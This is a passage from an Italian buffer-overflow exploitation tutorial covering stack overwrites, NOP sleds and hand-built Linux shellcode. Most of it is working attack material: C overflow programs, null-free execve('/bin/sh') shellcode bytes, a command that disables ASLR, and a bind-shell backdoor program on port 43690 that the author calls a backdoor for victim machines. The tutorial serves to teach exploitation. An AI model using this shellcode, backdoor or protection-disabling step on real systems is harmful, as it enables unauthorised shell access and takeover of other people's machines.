0022FF3C 0022FEC0
0022FF40 /0022FF48
0022FF44 |757D9E34
0022FF48 ]0022FF78
0022FF4C |004011E7 < RETURN to mem_corr.004011E7 from mem_corr.00401290
|
Facciamo terminare il ciclo di copia e otteniamo lo stack sovrascritto, infine main termina e
all'struzione RET ecco lo stack: |
0022FF4C 0022FEC0 < Qui prima c'era - - - / (RETURN to mem_corr.004011E7 from mem_corr.00401290)
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 17 di 193
0022FF50 0022FEC0 Il resto non ci interessa.
0022FF54 0022FEC0
0022FF58 0022FEC0
0022FF5C 0022FEC0
0022FF60 0022FEC0
0022FF64 0022FEC0
0022FF68 0022FEC0
0022FF6C 0022FEC0
0022FF70 0022FEC0
0022FF74 0022FEC0
0022FF78 0022FEC0
0022FF7C 0022FEC0
0022FF80 0022FEC0
0022FF84 0022FEC0
0022FF88 0022FEC0
0022FF8C 0022FEC0
0022FF90 0022FEC0
0022FF94 0022FEC0 < La sovrascrittura è arrivata fino qui, non possiamo continuare all'infinito,
0022FF98 00000000 uscendo dalla zona di memoria riservata a noi, avremmo un "memory violation".
0022FF9C 00000000
0022FFA0 007910A8
0022FFA4 00000000
0022FFA8 00000000
0022FFAC 00000000
0022FFB0 00000000
0022FFB4 00000000
0022FFB8 00000000
0022FFBC 00000000
0022FFC0 00000000
L'istruzione successiva salta a 0022FEC0, ricordate? A &buffer, eseguendo i NOP che non fanno
nulla. Dobbiamo invece considerare la possibilità di inserirvi opcode interpretabili dal
processore, che faranno le operazioni che desideriamo.
0x05] (Arch: LINUX) - Esecuzione di shellcode
Up
--------- test05.c ------------------------
#include <stdio.h>
// For Debian 5 only
#define SIZE 128
#define TOO_LARGE 133
#define TOOLARGE_ELEM (TOO_LARGE / 4)
int i;
char large_string[TOO_LARGE];
char shellcode[] = "\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e"
"\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80";
int main()
{
char buffer[SIZE];
long *long_ptr = (long*)large_string;
for(i=0; i<TOOLARGE_ELEM;i++)
*(long_ptr+i) = (int)buffer;
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 18 di 193
for(i=0;i<strlen(shellcode);i++)
large_string[i] = shellcode[i];
for(i=0;i<TOO_LARGE;i++)
buffer[i] = large_string[i];
}
--------- test05.c END ---------------------
Ci troviamo su una piattaforma linux Debian.
Quello che proviamo a fare ora è calcolare con accuratezza per mezzo di un disassemblatore la
posizione dell'indirizzo di buffer all'interno dello stack. Nell'ultimo esempio avevamo inserito
nell'array una sequenza di NOP, quindi di fatto non facevamo nulla di speciale se non provocare
una memory exception una volta che la CPU supera la sequenza di NOP, trovandosi ad eseguire una
serie di istruzioni senza senso per il contesto in cui si trova.
In questo esempio, ho sostituito la sequenza di NOP con codici esadecimali in grado, se
eseguiti, di avviare una shell.
Ho deciso alla fine di rimandare la spiegazione di come ottenere gli opcode per la shell
successivamente. Quindi utilizzo una cosa che ancora non ho spiegato, ma in questo modo
concludiamo un primo discorso sullo stack.
Devo fare alcune premesse prima di continuare. Prima di eseguire questo test occorre
disabilitare l’eventuale randomizzazione dello stack, attiva su alcune distribuzioni linux,
sopratutto le piu' recenti. (kernel > 2.4)
Si tratta di modificare il parametro del kernel che governa questo sistema di protezione. Il
comando per farlo è il seguente:
"echo 0 > /proc/sys/kernel/randomize_va_space".
Se non lo si fa il test non funzionerà, dato che il meccanismo "pseudo-casuale" generà il layout
di indirizzi virtuali in modo random.
Detto questo procediamo con la compilazione abilitando anche le info di debug:
gcc -ggdb test05.c -o test
Il risultato è il seguente:
matteo@HackLab:~/HackerLab/ShellCode$ ./test
sh-3.2$ exit
exit
matteo@HackLab:~/HackerLab/ShellCode$
Non ripeto tutta la spiegazione di quello che accade in memoria perchè è assolutamente identico
a ciò che è successo nell'esempio precedente, solo che ora i codici che abbiamo inserito non
erano NOP ma hanno aperto una shell locale.
La shell generata ha gli stessi permessi che ha il nostro programma di test.
Con gdb possiamo dare un occhio allo stato dello stack appena prima del ritorno da main:
(gdb) x/100 $esp
0xbffff570: 0x08049680 0x00000000 0x00000000 0x00000000
0xbffff580: /---0x00000000------0x00000000------0xbffff620---->>0x2f68c031 << --- La shell code
0xbffff590: | 0x682f6873 0x6e69622f 0x4388e389 0x89535007 |
0xbffff5a0: | 0x0bb099e1 0xdb3180cd 0xcd40d889 0xbffff580 |
0xbffff5b0: | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c |
0xbffff5c0: | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c |
0xbffff5d0: | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c |
0xbffff5e0: | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c |
0xbffff5f0: | 0xbffff58c 0xbffff58c 0xbffff58c 0xbffff58c |
0xbffff600: \---0xbffff58c<-\ 0xbffff58c 0xbffff58c 0xbffff58c |
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 19 di 193
0xbffff610: 0xbffff600 | 0xb7fd0ff4 0xbffff688 0xb7e90455 |
0xbffff620: 0x080484a0 | 0x080482f0 0xbffff688 0xb7e90455 |
0xbffff630: 0x00000001 | 0xbffff6b4 0xbffff6bc 0xb7fe2b38 |
... | |
| |
L'istruzione successiva non la possiamo vedere con gdb, perchè la cpu salta nel nostro array di
OPCODE. Precisamente a 0xbffff58c l'indirizzo con il quale abbiamo riempito il buffer più largo. | |
| |
Diamo un occhio a dove si trova ESP dopo aver detto a gdb di proseguire con lo step successivo,
con: (gdb) n | |
| |
(gdb) print $esp | |
$1 = (void *) 0xbffff600 |
|
Punta a dove si dovrebbe trovare l'indirizzo di ritorno di main() ma lì, se guardiamo nello
stack, c'è l’indirizzo di buffer.----------------------------------/
A questo punto la CPU, credendo di ritornare da main(), esegue invece la nostra shell.
Nella realtà le cose sono più complesse di così perchè non abbiamo sempre la possibilità di
determinare con esattezza dove il nostro indirizzo di ritorno verrà collocato nello stack.
Pertanto l'esempio ed il test non è portabile su un'altra piattaforma dato che cambierebbero le
distanze degli indirizzi, ed andrebbero ricalcolat per ritornare ad avere il test funzionante.
Nell'esempio successivo vedremo come ovviare a questo problema.
0x06] (Arch: LINUX) - Byte NOP
Up
--------- test06.c ------------------------
#include <stdio.h>
#include <stdlib.h>
#define SIZE 128
#define LARGE_SIZE 228
// Linux shellcode con tecnica dei NOP
int i;
char large_string[LARGE_SIZE];
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e"
"\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80";
// Ritorna la cima dello stack al momento della sua chiamata
long get_sp() { asm("mov %esp, %eax"); }
int main(int argc, char *argv[])
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 20 di 193
{
// Come solito allochiamo il nostro buffer
char buffer[SIZE];
// Check argomento
if(argc < 1) {fprintf(stderr,"Arguments required!\n"); exit(-1); }
// Riempio large_string con l'indirizzo presunto a cui si trova buffer
long *long_ptr = (long*)large_string;
for(i=0; i<(LARGE_SIZE/4);i++) *(long_ptr+i) = get_sp() + atoi(argv[1]);
// Sistemo la mia shellcode in large_string
for(i=0;i<strlen(shellcode);i++) large_string[i] = shellcode[i];
// Eseguo la copia non controllata (in alternativa possiamo usare memcpy() che non è
// sensibile ai byte nulli )
for(i=0;i<LARGE_SIZE;i++) buffer[i] = large_string[i];
}
--------- test06.c END ---------------------
In questo ulteriore esempio ho introdotto uno dei metodi per aumentare notevolmente le
possibilità di successo durante un attacco basato su buffer overflow.
Vediamo di parlare delle differenze con il programma precedente;
a differenza di questo, nel precedente capitolo ho ricorso a parecchia pazienza più
disassemblatore per individuare l'indirizzo esatto di buffer in memoria. Ho quindi calcolato
l'offset necessario a fare in modo che tale indirizzo, memorizzato in large_string, andasse a
sovrascrivere l'indirizzo di ritorno di main() al momento della copia incontrollata di
large_string in buffer. Vediamo se riesco a rendermi più chiaro con uno schema:
Dopo l'ultima istruzione prima di ret to main() la situazione nello stack è ipoteticamente la
seguente: (chiamiamolo Tr)
0x?Stack 0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90|0x90 [------------ Shellcode ----------] Ret|Ret|Ret|Ret|Ret|Ret|Ret|Ret|Ret|Ret 0x?
Indirizzo di buffer
Indirizzi
Ret Fine di buffer Indirizzo di ritorno
Function () {…}
ENDin EIPEsecuzione à
Il codice esadecimale 0x90 corrisponde all'istruzione assembly NOP, ovvero non fare nulla. La
CPU prosegue fino alla shellcode eseguendola.
Abbiamo così ottenuto un sistema che ci evita il dover sapere per forza l'indirizzo esatto del
buffer.
Indaghiamo nello stack all'istante Tr:
0022FE9C 00000010
0022FEA0 77C82D68 ntdll.77C82D68
0022FEA4 00381080
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 21 di 193
0022FEA8 00381088
0022FEAC 00404070 SimpleTe.00404070
0022FEB0 90909090 << ---- L'indirizzo di buffer
0022FEB4 90909090
0022FEB8 90909090
0022FEBC 90909090
0022FEC0 90909090
0022FEC4 90909090
0022FEC8 90909090
0022FECC 90909090 << -----\ Qui punterà EIP all'istante Tr + 1
0022FED0 90909090 |
0022FED4 90909090 |
0022FED8 90909090 |
0022FEDC 90909090 |
0022FEE0 90909090 |
0022FEE4 90909090 |
0022FEE8 90909090 |
0022FEEC 90909090 |
0022FEF0 90909090 |
0022FEF4 90909090 |
0022FEF8 90909090 |
0022FEFC 90909090 |
0022FF00 90909090 |
0022FF04 2F68C031 |
0022FF08 682F6873 |
0022FF0C 6E69622F |
0022FF10 4388E389 |
0022FF14 89535007 |
0022FF18 0BB099E1 |
0022FF1C DB3180CD |
0022FF20 CD40D889 |
0022FF24 0022FE80 |
0022FF28 0022FECC |
0022FF2C 0022FECC |
0022FF30 0022FECC |
0022FF34 0022FECC |
0022FF38 0022FECC |
0022FF3C 0022FECC |
0022FF40 0022FECC |
0022FF44 0022FECC |
0022FF48 0022FECC |
0022FF4C 0022FECC << - Qui c'era l'indirizzo di ritorno di main ma abbiamo sovrascritto con
0022FF50 0022FECC il nostro presunto indirizzo di buffer.
0022FF54 0022FECC Dovrebbe essere chiaro a che cosa servono i NOP inseriti prima della
0022FF58 0022FECC shellcode. Ci servono a fare in modo che il nostro indirizzo
0022FF5C 0022FECC possa essere non preciso.
0022FF60 0022FECC Questo aumenta notevolmente il numero delle possibilità di successo.
0022FF64 0022FECC
0022FF68 0022FECC
0022FF6C 0022FECC
0022FF70 0022FECC
0022FF74 0022FECC
0022FF78 0022FECC
0022FF7C 0022FECC
0022FF80 0022FECC
0022FF84 0022FECC
0022FF88 0022FECC
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 22 di 193
0022FF8C 0022FECC
0022FF90 0022FECC
0022FF94 /0022FFD4
0022FF98 |77C8B3F5 RETURN to ntdll.77C8B3F5
0022FF9C |7FFD7000
0022FFA0 |771D9D52
Steppando in avanti possiamo vedere come la CPU cavalca nel flusso di istruzioni tra i NOP e
arriva alla shellcode, il seguente è un frammento del flusso di istruzioni della CPU:
0022FEF4 90 NOP
0022FEF5 90 NOP
0022FEF6 90 NOP
0022FEF7 90 NOP
0022FEF8 90 NOP
0022FEF9 90 NOP
0022FEFA 90 NOP
0022FEFB 90 NOP
0022FEFC 90 NOP
0022FEFD 90 NOP
0022FEFE 90 NOP
0022FEFF 90 NOP
0022FF00 90 NOP
0022FF01 90 NOP
0022FF02 90 NOP
0022FF03 90 NOP
0022FF04 31C0 XOR EAX,EAX << Eccoci qui! Il nostro codice eseguirà una shell.
0022FF06 68 2F73682F PUSH 2F68732F
0022FF0B 68 2F62696E PUSH 6E69622F
0022FF10 89E3 MOV EBX,ESP
0022FF12 8843 07 MOV BYTE PTR DS:[EBX+7],AL
0022FF15 50 PUSH EAX
0022FF16 53 PUSH EBX
0022FF17 89E1 MOV ECX,ESP
0022FF19 99 CDQ
0022FF1A B0 0B MOV AL,0B
0022FF1C CD 80 INT 80
0022FF1E 31DB XOR EBX,EBX
0022FF20 89D8 MOV EAX,EBX
0022FF22 40 INC EAX
0022FF23 CD 80 INT 80
0x07] (Arch: LINUX) - Realizzare una shellcode
Up
Prima di fornire un esempio completo di exploit e prima di parlare di altro mi sento in dovere
di mostrare un tutorial di come realizzare una stringa di caratteri esadecimali adatta ai casi
che abbiamo visto fino ad ora.
Come primo esempio, vediamo di ottenere una shellcode. Proprio quella utilizzata negli ultimi
due esempi precedenti.
# Passo 1
Prima di tutto occorre pensare esattamente alla funzione che vogliamo eseguire. Il modo migliore
di procedere è quindi quello di scriverci prima il programma in linguaggio C.
Un programma atto ad aprire una shell è il seguente:
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 23 di 193
--------- shell.c ------------------------
void main()
{
char* name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0],name,NULL);
}
--------- shell.c END --------------------
Il programma utilizza la funzione execve() per eseguire sh. La shell linux appunto. Gli
argomenti sono la stringa che riporta tutta la path del programma, l'indirizzo di questa e il
parametro NULL. Vi riporto la definizione della sintassi completa:
int execve(
const char *filename,
char *const argv [],
char *const envp[]
);
“execve() executes the program pointed to by filename. filename must be either a binary
executable, or a script starting with a line of the form "#! interpreter [arg]".
In the latter case, the interpreter must be a valid pathname for an executable which is not
itself a script, which will be invoked as interpreter [arg] filename.
argv is an array of argument strings passed to the new program. envp is an array of strings,
conventionally of the form key=value, which are passed as environment to the new program. Both,
argv and envp must be terminated by a null pointer. The argument vector and environment can be
accessed by the called program's main function, when it is defined as int main(int argc, char
*argv[], char *envp[]).
execve() does not return on success, and the text, data, bss, and stack of the calling process
are overwritten by that of the program loaded.
The program invoked inherits the calling process's PID, and any open file descriptors that are
not set to close on exec. Signals pending on the calling process are cleared.
Any signals set to be caught by the calling process are reset to their default behaviour. The
SIGCHLD signal (when set to SIG_IGN) may or may not be reset to SIG_DFL.”
Una volta scritto il programma compiliamolo,
$ gcc -static -ggdb shell.c -o shellcode
Una volta fatto dobbiamo capire come il compilatore traduce il programma in codice macchina. Le
opzioni che ho usato durante la compilazione sono molto importanti.
"-static" permette di compilare in modo statico il programma. Come sapete significa che le
funzioni esterne ( come execve() ) saranno importate della libreria di sistema e aggiunte al
nostro programma. Non saranno chiamate quando necessario. Questo a lato pratico viene fatto per
aumentarne la velocità di caricamento e per evitare problemi di dipendenza. Nel nostro caso
utilizziamo questa modalità solo per poter poi vedere il codice di execve(). Difatti, essendo la
funzione ora inglobata nel nostro file, con gdb potremo disassemblarla.
"-ggdb" specifica di inserire nel file prodotto le info di debug.
# Passo 2
Procediamo quindi con gdb e disassembliamo:
$ gdb shellcode
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 24 di 193
GNU gdb (GDB) 7.0-ubuntu
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /media/MATTEO/Hack_environment/shellcode...done.
(gdb) disass main
Dump of assembler code for function main:
0x08048250 <main+0>: push %ebp
0x08048251 <main+1>: mov %esp,%ebp
0x08048253 <main+3>: and $0xfffffff0,%esp
0x08048256 <main+6>: sub $0x20,%esp
0x08048259 <main+9>: movl $0x80a6f08,0x18(%esp)
0x08048261 <main+17>: movl $0x0,0x1c(%esp)
0x08048269 <main+25>: mov 0x18(%esp),%eax
0x0804826d <main+29>: movl $0x0,0x8(%esp)
0x08048275 <main+37>: lea 0x18(%esp),%edx
0x08048279 <main+41>: mov %edx,0x4(%esp)
0x0804827d <main+45>: mov %eax,(%esp)
0x08048280 <main+48>: call 0x804f560 <execve>
0x08048285 <main+53>: leave
0x08048286 <main+54>: ret
End of assembler dump.
(gdb) disass execve
Dump of assembler code for function execve:
0x0804f560 <execve+0>: push %ebp
0x0804f561 <execve+1>: mov %esp,%ebp
0x0804f563 <execve+3>: mov 0x10(%ebp),%edx
0x0804f566 <execve+6>: push %ebx
0x0804f567 <execve+7>: mov 0xc(%ebp),%ecx
0x0804f56a <execve+10>: mov 0x8(%ebp),%ebx
0x0804f56d <execve+13>: mov $0xb,%eax
0x0804f572 <execve+18>: int $0x80
0x0804f574 <execve+20>: cmp $0xfffff000,%eax
0x0804f579 <execve+25>: ja 0x804f57e <execve+30>
0x0804f57b <execve+27>: pop %ebx
0x0804f57c <execve+28>: pop %ebp
0x0804f57d <execve+29>: ret
0x0804f57e <execve+30>: mov $0xffffffe8,%edx
0x0804f584 <execve+36>: neg %eax
0x0804f586 <execve+38>: mov %gs:0x0,%ecx
0x0804f58d <execve+45>: mov %eax,(%ecx,%edx,1)
0x0804f590 <execve+48>: or $0xffffffff,%eax
0x0804f593 <execve+51>: jmp 0x804f57b <execve+27>
End of assembler dump.
(gdb)
Questo metodo ci permettte di capire cosa dobbiamo fare poi.
- Questo è il "PROLOGO", serve per allocare lo spazio necessario alle variabili locali:
0x08048250 <main+0>: push %ebp
0x08048251 <main+1>: mov %esp,%ebp
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 25 di 193
0x08048253 <main+3>: and $0xfffffff0,%esp
0x08048256 <main+6>: sub $0x20,%esp
- La seguente copia la stringa nel puntatore:
0x08048259 <main+9>: movl $0x80a6f08,0x18(%esp) <-- "ovvero: name[0] = "/bin/sh";"
- Viene copiato il valore NULL nella posizione dell'array successiva:
0x08048261 <main+17>: movl $0x0,0x1c(%esp) <-- ovvero: "name[1] = NULL;"
- Iniziamo a inserire nello stack in ordine inverso gli argomenti per execve():
0x08048269 <main+25>: mov 0x18(%esp),%eax <-- viene letta dal registro l'indirizzo della
stringa name[0]
0x0804826d <main+29>: movl $0x0,0x8(%esp) <-- il valore NULL viene inserito nello stack
0x08048275 <main+37>: lea 0x18(%esp),%edx <-- la stringa name[0] (non name) viene messa in edx
0x08048279 <main+41>: mov %edx,0x4(%esp) <-- la stringa name viene inserita nello stack
0x0804827d <main+45>: mov %eax,(%esp) <-- la stringa name[0] (/bin/sh) viene inserita nello
stack
0x08048280 <main+48>: call 0x804f560 <execve> <-- viene chiamata execve()
- Per quanto riguarda la funzione execve(), possiamo vedere anche il suo codice dato
che abbiamo linkato tutto in modo statico.
C'è ovviamente anche qui il prologo:
0x0804f560 <execve+0>: push %ebp
0x0804f561 <execve+1>: mov %esp,%ebp
0x0804f563 <execve+3>: mov 0x10(%ebp),%edx <-- questo dovrebbe riguardare già la preparazione
di execve(), ovvero sposta in edx il null pointer.
0x0804f566 <execve+6>: push %ebx
- Viene preparata la syscall execve():
0x0804f567 <execve+7>: mov 0xc(%ebp),%ecx <-- viene messo in ecx l'indirizzo di name
0x0804f56a <execve+10>: mov 0x8(%ebp),%ebx <-- viene messo in ebx "/bin/sh/"
0x0804f56d <execve+13>: mov $0xb,%eax <-- viene copiato il valore 11 in eax (execve() è
l'undicesima syscall, vedi unistd.h)
0x0804f572 <execve+18>: int $0x80 <-- syscall 11
# Passo 3
Ora che abbiamo le idee molto più chiare riguardo quello che dobbiamo fare occorre scriverci il
programma direttamente in assembly.
Questo deve essere fatto per vari motivi. Negli esempi che ho portato riguardo la sovrascrittura
dello stack ho potuto decidere io la dimensione dei buffer creandomi una situazione "ideale".
Nella realtà questo non è possibile ottenerlo. Dovremo quindi assicurarci di realizzare una
shellcode più piccola possibile per lasciare largo spazio ai NOP, che, come abbiamo detto,
aumentano le nostre probabilità di successo.
Inoltre vedremo che la stringa non dovrà per nessun motivo contenere dei byte nulli. Perchè
questo? Questo è fondamentale e da tenere bene in mente quando si realizzano shellcode, difatti
le funzioni strcpy(), gets(), getws() ed altre (di fatto proprio quelle che non controllano la
congruenza della dimensione dei buffer in memoria) considerano il carattere '\0' come indicatore
della fine della stringa.
Se la shellcode che inviamo contiene byte nulli, la copia si fermerebbe non appena incontra uno
di questo byte posto a zero. Invalidando il nostro programma.
Riepilogando; le operazioni da fare sono queste:
- Avere una stringa terminata con NULL "/bin/sh/" da qualche parte in memoria
- Avere l'indirizzo della stringa "/bin/sh" da qualche parte in memoria seguito da un long word
con null
- Copiare 0xb in EAX
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 26 di 193
- Copiare l'indirizzo della stringa "/bin/sh" nel registro EBX
- Copiare l'indirizzo della stringa "/bin/sh" in ECX
- Copiare l'indirizzo della long word con NULL in EDX
- Eseguire l'istruzione int $0x80
- Copiare 0x1 in EAX
- Copiare 0x0 in EBX
- Eseguire l'istruzione int $0x80
Ora, ci sono vari modi per eseguire queste operazioni scrivendo in assembly, non tutte
funzioneranno sempre su tutti gli assemblatori e distribuzioni, io vi riporto quella che ho
utilizzato nel mio caso. (generalmente questa dovrebbe funzionare dappertutto)
Il file prodotto avrà estensione ".S":
--------- shell.S ------------------------
.text
.globl main
// Chiamata a execve(name[0],name,NULL)
main:
xor %eax, %eax //Azzero eax
push $0x2f68732f //Inserisco la codifica di "/sh/" nello stack
push $0x6e69622f //Inserisco la codifica di "/bin" nello stack
mov %esp, %ebx //Prelevo dallo stack l'indirizzo della stringa "/bin/sh/"
mov %al, 0x7(%ebx) //Inserisco il byte terminatore di stringa alla fine
//ottenendo così la stringa C regolare: "/bin/sh0"
push %eax //Inserisco eax nello stack
push %ebx //Inserisco ebx nello stack la stringa
mov %esp, %ecx //Prelevo dallo stack e posiziono in ecx la stringa
cltd //converte una Dword in una Qword, lasciata in EDX:EAX,
//cioè %eax -> %edx:%eax (grazie ad Ing. Giorgio Ober
//per le delucidazioni riguardo l'istruzione )
mov $0xb, %al //Muovo il valore 11 dec. in eax (sys_call execve() )
int $0x80 //Interrupt execve()
// Codice relativo alla exit(0)
xorl %ebx, %ebx //Azzero eax
mov %ebx, %eax //Copio 0 in ebx
inc %eax //Incremento eax
int $0x80 //interrupt exit()
--------- shell.S END ---------------------
Da notare come vado ad inserire la stringa "/bin/sh" direttamente in esadecimale. E poi vado a
sistemare il byte 0, per non avere il byte nullo alla fine.
Una soluzione "standard" potrebbe essere:
jmp 0x26 2 bytes
popl %esi 1 byte
movl %esi, 0x8(%esi) 3 bytes
movb $0x0, 0x7(%esi) 4 bytes
movl $0x0, 0xc(%esi) 7 bytes
movl $0xb, %eax 5 bytes
movl %esi, %ebx 2 bytes
leal 0x8(%esi), %ecx 3 bytes
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 27 di 193
leal 0xc(%esi), %edx 3 bytes
int $0x80 2 bytes
movl $0x1, %eax 5 bytes
movl $0x0, %ebx 5 bytes
int $0x80 2 bytes
call -0x2b 5 bytes
.string \"/bin/sh\" 8 bytes
Dove vengono utilizzati dei salti relativi. La call dovrebbe anche salvare nello stack
l'indirizzo della stringa "/bin/sh" che poi viene recuperato.
A differenza del mio questo non è ancora ottimizzato e le istruzioni contengono vari byte nulli.
Ecco come evitarli,
Istruzione da cambiare: Sostituire con:
movb $0x0, 0x7(%esi) xorl %eax,%eax
movl $0x0, 0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
-------------------------------------------------------------
movl $0xb, %eax movb $0xb, %al
-------------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0,%ebx movl %ebx,%eax
inc %eax
Tutte le istruzioni di destra non contengono byte nulli.
Detto questo torniamo al mio codice e passiamo al passo successivo. ( magari diamo anche una
collaudata all'assemby ;) )
# Passo 4
Una volta compilato l'assembly indicandogli di non creare l'eseguibile con:
gcc -s -c shell.S
ricaviamo con objdump i codici esadecimali:
$ objdump -d shell.o
shell.o: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
0: 31 c0 xor %eax,%eax
2: 68 2f 73 68 2f push $0x2f68732f
7: 68 2f 62 69 6e push $0x6e69622f
c: 89 e3 mov %esp,%ebx
e: 88 43 07 mov %al,0x7(%ebx)
11: 50 push %eax
12: 53 push %ebx
13: 89 e1 mov %esp,%ecx
15: 99 cltd
16: b0 0b mov $0xb,%al
18: cd 80 int $0x80
1a: 31 db xor %ebx,%ebx
1c: 89 d8 mov %ebx,%eax
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 28 di 193
1e: 40 inc %eax
1f: cd 80 int $0x80
Come potete vedere il mio codice è esente da byte nulli prestandosi per i nostri test.
31 c0 68 2f 73 68 2f 68 2f 62 69 6e 89 e3 88 43 07 50 53 89 e1 99 b0 0b cd 80 31 db 89 d8 40 cd
80
Questi codici andranno inseriti nel nostro array.
Per testarli si possono utilizzare puntatori a funzione usandoli in modo particolare.
Il mio test:
--------- test07.c ------------------------
#include <stdio.h>
#include <string.h>
// Dichiarazione dell'array di opcode:
char array[] =
/* - - - >> Assembly original code: << - - - Matteo Tosato
.text
.globl main
main:
xor %eax, %eax
push $0x2f68732f
push $0x6e69622f
mov %esp, %ebx
mov %al, 0x7(%ebx)
push %eax
push %ebx
mov %esp, %ecx
cltd
mov $0xb, %al
int $0x80
xorl %ebx, %ebx
mov %ebx, %eax
inc %eax
int $0x80
*/
"\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e"
"\x89\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80";
// un test:
int main(void)
{
printf("\nShellcode n°1 by Tosato Matteo,\n"
"\nEnvironment:\n"
"\tDebian 5 - Kernel 2.6.26-2-686.\n"
"Tools used:\n"
"\tgcc version 4.3.2 (Debian 4.3.2-1.1),\n"
"\tGNU gdb 6.8-debian\n"
"\tNASM version 2.03.01 compiled on Jun 18 2008\n"
"\tGNU objdump (GNU Binutils for Debian) 2.18.0.20080103\n"
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 29 di 193
"\nwritten on 24-01-2010, 23:10\n\n"
"Shellcode:\n\t");
printf("31h,c0h,68h,2fh,73h,68h,2fh,68h,2fh,62h,69h,6eh\n\t"
"89h,e3h,88h,43h,07h,50h,53h,89h,e1h,99h,b0h,0bh\n\t"
"cdh,80h,31h,dbh,89h,d8h,40h,cdh,80h");
printf("\n\nSize: %d bytes\n\n",strlen(array));
printf("Execute:\n\n");
(*(void(*)()) array)();
}
--------- test07.c END ---------------------
0x08] (Arch: LINUX) - Shellcode avanzate
Up
Ora che sappiamo che cosa comporta scrivere una shellcode, siamo in grado di fare qualcosa di
più complesso. Nel campo dei buffer overflow il massimo che possiamo sperare di ottenere è
quello di avere il controllo completo della macchina attaccata, quindi la possibilità di aprire
una shell.
Ora riporterò una shellcode che ho realizzato recentemente, se viene trovato il modo di far
eseguire questo codice, questo installa una backdoor nel computer vittima.
Procedendo come solito per gradi, vi mostrerò la procedura con la quale arrivare ad ottenere i
codici operativi.
Steps:
1 socket()
2 bind()
3 listen()
4 accept()
5 dup2()
6 execve()
Questo programma mette in ascolto un socket TCP sulla porta 43690, utilizzando un semplice
client che si connette al socket verrà restituita una shell.
Non viene previsto nessun controllo sugli errori e il programma è ridotto ai minimi termini per
ottenere codice di dimensione e complessità più piccolo possibile. Ci faciliterà la comprensione
del disassemblato.
--------- test08.c ------------------------
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int soc,cli;
struct sockaddr_in serv_addr;
int
main() // n° syscall - unistd32.h
{
if(fork()==0) // #define __NR_fork 2
{
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 30 di 193
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=0xAAAA;
soc=socket(2,1,6); // #define __NR_socketcall 102
bind(soc,(struct sockaddr *)&serv_addr,0x10); // #define __NR_mbind 274
listen(soc,1); // #define __NR_socketcall 102
cli=accept(soc,0,0); // #define __NR_socketcall 102
dup2(cli,0); // #define __NR_dup2 63
dup2(cli,1);
dup2(cli,2);
execve("/bin/sh",0,0); // #define __NR_execve 11
}
}
--------- test08.c END ---------------------
Quello che cambia dall'esempio precedente è innanzi tutto il modo in cui le syscall socket,
bind, listen e accept devono essere chiamate.
Viene utilizzato un unico entry point nel kernel per queste funzioni, il primo argomento sarà il
numero di funzione della famiglia che verrà chiamata. E' comunque piuttosto semplice.
Altra cosa che dobbiamo fare è ripassarci alcune strutture C.
Le strutture non sono altro che uno spazio contiguo di variabili che possono essere recuperate
tutte assieme con un solo puntatore.
struct sockaddr_in {
sa_family_t sin_family; // address family AF_INET
in_port_t sin_port; // port in network byte order
